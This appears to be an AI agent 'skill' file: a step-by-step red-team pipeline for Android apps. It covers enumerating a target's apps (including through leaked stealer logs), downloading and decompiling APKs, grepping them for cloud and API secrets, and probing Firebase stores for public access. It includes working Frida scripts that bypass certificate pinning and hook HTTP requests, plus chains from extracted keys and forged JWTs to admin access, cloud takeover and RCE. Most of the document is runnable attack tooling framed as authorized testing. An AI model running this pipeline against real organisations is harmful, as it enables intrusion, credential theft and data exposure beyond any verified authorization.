apk-redteam-pipeline— agent skill

When to use this skill

Trigger when:

• Recon surfaces 1+ mobile apps under the target's developer name (Play Store dev page)
• A web app hosts *.apk files directly (e.g. Recruitz.apk found on a subdomain during one engagement)
• APK package IDs leaked via stealer logs (e.g. com.<brand>.app, com.<brand>.<sub-brand> patterns in stealer dump format)
• Customer-facing app, dealer/partner portal, or employee mobile companion app is in scope
• Bug bounty program lists Android in scope

DO NOT use for:

• iOS-only targets (different pipeline — IPA reverse, MobSF, frida-ios-dump)
• React Native / Flutter web apps already covered by JS bundle analysis
• Server-side only assessments

Stage 0 — Inventory all org-owned apps

Play Store developer-page scrape

# Find developer page from the target's brand name
curl -sk -A "Mozilla/5.0" "https://play.google.com/store/apps/developer?id=<Brand+Name>" -o /tmp/dev.html

# Extract package IDs
grep -oE 'id=[a-zA-Z0-9._]+' /tmp/dev.html | sort -u

Example output (anonymized — 7 packages typical for a multi-brand conglomerate):

com.events.<brand>build
com.<corp>.<sub-brand-1>
com.<corp>.<sub-brand-2>
com.<corp>.<flagship>
com.<corp>.<product-line-1>
com.<corp>.<product-line-2>
com.<corp>.<sub-brand-3>

Cross-reference with stealer logs

Stealer-log format includes package names like *@com.<corp>.<app> — extract these from creds_userpass.txt if you have a leaked dump.

Brand permutation guesses (multi-brand conglomerate patterns)

com.<brand>.app
com.<brand>.mobile  
com.<brand>.android
com.<brand>connect.app
in.<brand>.dealer
in.co.<brand>.app

Stage 1 — APK acquisition

Primary: APKPure direct (no auth required)

# Follow 302 redirects to actual download
curl -sk -L --max-time 60 \
  "https://d.apkpure.net/b/APK/<package_id>?version=latest" \
  -o "<package_id>.apk"

# Or via the legacy d-XX.winudf.com mirror chain (we saw this work)

Secondary: APKMirror search

curl -sk -A "Mozilla/5.0" "https://www.apkmirror.com/?post_type=app_release&searchtype=apk&s=<brand>" \
  | grep -oE 'href="[^"]+\.apk[^"]*"' | sort -u

Tertiary: APKPure web search

curl -sk "https://apkpure.com/search?q=<brand>" | grep -oE 'data-dt-app="[^"]+"'

XAPK vs APK

• .xapk = a zip containing multiple split APKs (base + config.armeabi-v7a + config.en + etc.)
• Unzip outer first, then unzip the inner base.apk or <package>.apk
• Some apkpure downloads return truncated XAPK with missing EOCD signature — symptom of CDN rate-limiting; rotate IP and retry, OR use 7z x which is more lenient than unzip

# Standard unzip (works for clean APK)
unzip -o <package>.apk -d extracted_<package>/

# For truncated/repaired XAPK
7z x -y <package>.apk -o"extracted_<package>"

# For nested XAPK
for inner in extracted_<package>/*.apk; do
  mkdir -p "extracted_<package>/$(basename "$inner" .apk)"
  unzip -o "$inner" -d "extracted_<package>/$(basename "$inner" .apk)"
done

Stage 2 — DEX decompilation (jadx)

# Install
brew install jadx          # macOS
# or
wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.x.zip

# Decompile
jadx -d decompiled_<package>/ <package>.apk

# For XAPK that contains multiple APKs
for inner in extracted_<package>/*.apk; do
  jadx -d decompiled_<package>_$(basename "$inner" .apk)/ "$inner"
done

For a fast "strings only" pass without full decompilation:

find extracted_<package> -name "classes*.dex" -exec strings -8 {} \; > strings_<package>.txt

Stage 3 — Secret grep (the 60-pattern catalog)

# URL grep — owned-domain references
grep -oE 'https?://[a-zA-Z0-9.-]+\.(target1|target2|target3)\.(com|io|net|in)[a-zA-Z0-9./_?=&%-]*' strings_<package>.txt | sort -u

# Internal IP / port URLs
grep -oE 'https?://(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)[0-9.]+(:[0-9]+)?[a-zA-Z0-9./_?=&-]*' strings_<package>.txt

# Cloud credentials
grep -oE 'AKIA[A-Z0-9]{16}'                            # AWS Access Key
grep -oE 'aws_secret_access_key[\s:=]+[A-Za-z0-9/+=]{40}' # AWS Secret
grep -oE 'AIza[A-Za-z0-9_-]{35}'                       # Google API key
grep -oE 'ya29\.[A-Za-z0-9_-]+'                        # Google OAuth refresh token
grep -oE 'gh[ps]_[A-Za-z0-9]{36}'                      # GitHub PAT
grep -oE 'glpat-[A-Za-z0-9_-]{20}'                     # GitLab PAT
grep -oE 'xox[pbar]-[A-Za-z0-9-]+'                     # Slack token
grep -oE 'sk-[A-Za-z0-9]{48}'                          # OpenAI API key
grep -oE 'sk-ant-[A-Za-z0-9_-]{90,}'                   # Anthropic API key
grep -oE 'AC[a-f0-9]{32}'                              # Twilio Account SID
grep -oE 'sk_live_[A-Za-z0-9]{24}'                     # Stripe live key
grep -oE 'pk_live_[A-Za-z0-9]{24}'                     # Stripe publishable
grep -oE 'mailgun-[A-Za-z0-9-]{40}'                    # Mailgun
grep -oE 'SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43}'    # SendGrid

# JWT (any algorithm)
grep -oE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' strings_<package>.txt

# Firebase
grep -oE '"(api_key|project_id|database_url|storage_bucket|client_id|mobilesdk_app_id|google_app_id|gcm_defaultSenderId)"\s*:\s*"[^"]+"' \
  extracted_<package>/res/values/strings.xml \
  extracted_<package>/google-services.json \
  decompiled_<package>/resources/AndroidManifest.xml 2>/dev/null

# OAuth client secrets
grep -oE 'client_secret["\s:=]+[A-Za-z0-9_-]{24,}' strings_<package>.txt

# Hardcoded passwords (heuristic — many false positives, manual review)
grep -oE '"password"\s*:\s*"[^"]+"|password\s*=\s*"[^"]+"' decompiled_<package>/sources/**/*.java 2>/dev/null

Real-world example finding (anonymized — from an authorized engagement)

# Customer-facing APK shipped a hardcoded URL of this shape:
https://api.<client>.example/<path-token>/<resource-token>?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<payload>.<sig>

# Decoded JWT payload: {"sid":<int>,"iat":<unix-ts>,"exp":<unix-ts>}
# Expired ~8 years earlier — but path tokens + 30 /v1/* endpoints still useful intel

Stage 4 — Pinned certificate extraction

# Find .cer / .der / .pem files in assets/
find extracted_<package>/assets -iname "*.cer" -o -iname "*.der" -o -iname "*.pem" -o -iname "*.crt" 2>/dev/null

# Or in network_security_config.xml
find extracted_<package> -name "network_security_config.xml" -exec cat {} \;

# For each cert, extract subject + SAN (might reveal new internal API hosts)
for cert in $(find extracted_<package>/assets -iname "*.cer"); do
  echo "=== $cert ==="
  openssl x509 -in "$cert" -noout -subject -issuer -dates 2>/dev/null
  openssl x509 -in "$cert" -noout -text 2>/dev/null | grep -E 'Subject:|DNS:|Issuer:|Validity'
done

Real-world example

A customer-facing APK from an authorized engagement contained assets/api_<service>_<domain>_com.cer — revealed the existence of an api.<service>.<domain>.example asset that had NOT surfaced in passive recon.

Stage 5 — Exported component enumeration

AndroidManifest.xml lists components. Exported ones (especially with android:exported="true" or implicit-export via intent-filter) can be triggered by other apps — potential intent-injection attack surface.

# Decode binary AndroidManifest if needed
apktool d <package>.apk -o decoded_<package>/    # apktool decodes binary manifest

# Or read directly from jadx output
cat decompiled_<package>/resources/AndroidManifest.xml | grep -E '<(activity|service|receiver|provider)' | head -50

# Filter exported
grep -E 'android:exported="true"' decompiled_<package>/resources/AndroidManifest.xml

For each exported component, check:

• Does it accept extras that flow into a WebView (intent → WebView → XSS / file://)
• Does it accept URI extras (potential SSRF via deep link)
• Does it pass extras to other Activities (intent redirection)

Stage 6 — Firebase / cloud-service config inspection

# google-services.json — full Firebase config
find extracted_<package> -name "google-services.json" -exec cat {} \; | python3 -m json.tool

# Look for:
#   project_id   → can guess Firestore / RTDB URL: https://<project_id>.firebaseio.com/.json
#   storage_bucket → can guess GCS bucket: gs://<bucket>
#   web_api_key  → can use to enumerate Firebase tenant config

# Test if Firestore is publicly readable
curl -s "https://firestore.googleapis.com/v1/projects/<project_id>/databases/(default)/documents/users"

# Test if Realtime DB is publicly readable
curl -s "https://<project_id>.firebaseio.com/.json"

# Test if Storage Bucket is publicly listable
curl -s "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"

Stage 7 — Runtime instrumentation (Frida)

For when static analysis isn't enough — you want to dump tokens at runtime, bypass cert pinning, or trace API calls.

Setup

pip install --break-system-packages frida-tools objection
adb devices  # ensure device/emulator connected
# Push frida-server to device (root required, or use rooted emulator like Genymotion / x86_64 AVD)

Cert-pinning bypass (universal)

// frida-script-pinning-bypass.js
Java.perform(function() {
    // OkHttp
    try {
        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
            console.log('[+] OkHttp pinning bypassed for: ' + arguments[0]);
            return;
        };
    } catch (e) {}
    // HttpsURLConnection
    try {
        var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
        TrustManagerImpl.verifyChain.implementation = function(chain) {
            console.log('[+] TrustManagerImpl verifyChain bypassed');
            return chain;
        };
    } catch (e) {}
});

frida -U -l frida-script-pinning-bypass.js -f <package_id> --no-pause

Hook HTTP requests

Java.perform(function() {
    var OkHttpClient = Java.use('okhttp3.OkHttpClient');
    var Request = Java.use('okhttp3.Request');
    var Call = Java.use('okhttp3.Call');
    
    OkHttpClient.newCall.implementation = function(req) {
        var url = req.url().toString();
        var headers = req.headers().toString();
        console.log('[REQ] ' + url);
        console.log('[HDRS] ' + headers);
        return this.newCall(req);
    };
});

Quick token extraction via objection

objection --gadget com.target.app explore
# Inside:
android hooking watch class_method <class>.<method> --dump-args --dump-return

Stage 8 — Network traffic capture (via mitmproxy)

For deeper API discovery once pinning is bypassed.

# Run mitmproxy on host
mitmproxy --listen-port 8080

# Configure Android device proxy to host:8080
# Install mitmproxy CA cert on device:
#   - Pull from http://mitm.it on the device, or
#   - Push to /system/etc/security/cacerts/ on rooted device

# Use the Frida pinning bypass script while traffic flows through mitmproxy
# All API calls visible in mitmproxy UI

Decision tree — what to do with what you find

Anti-patterns

• Don't grep only for "password" — most secrets have specific high-signal patterns (AKIA, AIza, eyJ, etc.). Generic word grep produces too much noise.
• Don't skip XAPK split APKs — config.armeabi splits and config.<lang> splits sometimes contain different code paths.
• Don't trust expired JWTs as "dead intel" — the path structure, endpoint list, and signing algorithm are still useful. The 8-year-expired-JWT example above shows this.
• Don't reverse only the latest version — older APK versions (via APKMirror version history) sometimes have secrets removed in newer versions but still active server-side.
• Don't ignore Firebase even if app looks "simple" — Firebase rules misconfigurations (public read on Firestore) are extremely common.
• Don't run Frida on a production device — use rooted emulator or test device only.

Tooling install (one-time)

brew install jadx p7zip
pip install --break-system-packages frida-tools objection
# Genymotion or AVD for rooted Android emulator

For APK download convenience, can add a download-apk shell function:

download-apk() {
  local pkg="$1"
  curl -sk -L --max-time 60 "https://d.apkpure.net/b/APK/$pkg?version=latest" -o "$pkg.apk"
  echo "Downloaded $(wc -c < "$pkg.apk") bytes"
  file "$pkg.apk"
}

Bridge to neighboring skills

• offensive-osint — Play Store / APKMirror enum is part of broader OSINT
• hunt-cloud-misconfig — Firebase public-read is exactly this skill's specialty post-discovery
• hunt-api-misconfig — JWT manipulation once you have the algorithm + sample token
• evidence-hygiene — extracted secrets need redaction before report inclusion
• redteam-mindset — APK reverse on day-1 of an engagement, not as an afterthought

Real-world finding template (anonymized — authorized engagement)

Finding: Hardcoded JWT + 30+ Internal API Endpoints in a customer-facing APK

• Subject: Hardcoded artifacts in legacy mobile build reveal internal API surface
• Observations: Decompilation of com.<client>.<app> revealed embedded JWT (expired ~8 years earlier) and 30+ /v1/* endpoint paths against api2.<client>.example (internal-only externally)
• Description: APK ships with developer build artifacts. Path tokens are security-by-obscurity; API endpoint inventory is reconnaissance-grade.
• Impact: Post-VPN-foothold (via cred compromise), attacker has full API surface map without binary reverse. HS256 secret recovery (via SSRF/LFI) would yield arbitrary token forging.
• Recommendation: rotate HS256 secret, migrate to RS256, remove hardcoded URLs from builds, audit all org APKs.
• Evidence: extracted strings, decoded JWT, endpoint inventory

Related Skills & Chains

• `cloud-iam-deep` — APK secret extraction frequently yields live AWS/GCP/Azure credentials. Chain primitive: jadx string-grep produces AWS Access Key ID + Secret → cloud-iam-deep aws sts get-caller-identity → role/policy enumeration → IAM privilege-escalation path (one of 24 documented AWS escalation patterns) → cloud-plane takeover. Same flow applies to GCP service-account JSON and Azure shared-access-signature tokens extracted from APK resources.
• `hunt-api-misconfig` — APK endpoint inventory hands you the API surface for free; mass-assignment, JWT, and CORS bugs are typical. Chain primitive: APK reveals /v1/users/me and /v1/admin/users → hunt-api-misconfig mass-assignment probes ({is_admin:true}) against /v1/users/me → admin role escalation → access to /v1/admin/users.
• `hunt-rce` — Hardcoded JWT signing secrets (HS256) extracted from APK enable arbitrary token forging. Chain primitive: APK strings yield HS256 secret → forge admin token → access admin API → if API has eval/template/sink → hunt-rce to server. Also: exported components with intent-injection sinks can reach Runtime.exec if app is local-installed.
• `offensive-osint` — APK is one node in the broader org recon graph; pair with breach corpora and cert transparency. Chain primitive: APK reveals internal API hostname api2.example.com → offensive-osint certificate-transparency lookup → discover sibling subdomains → expanded attack surface.
• `redteam-report-template` — APK findings need clear "what the binary leaks" framing because client engineers often dismiss mobile-static findings as "obfuscation problem." Chain primitive: validated finding (token/URL/secret extracted) → triage-validation 7-Question Gate (specifically: "does this credential still authenticate today?") → redteam-report-template packaging with explicit binary version + extraction reproduction steps.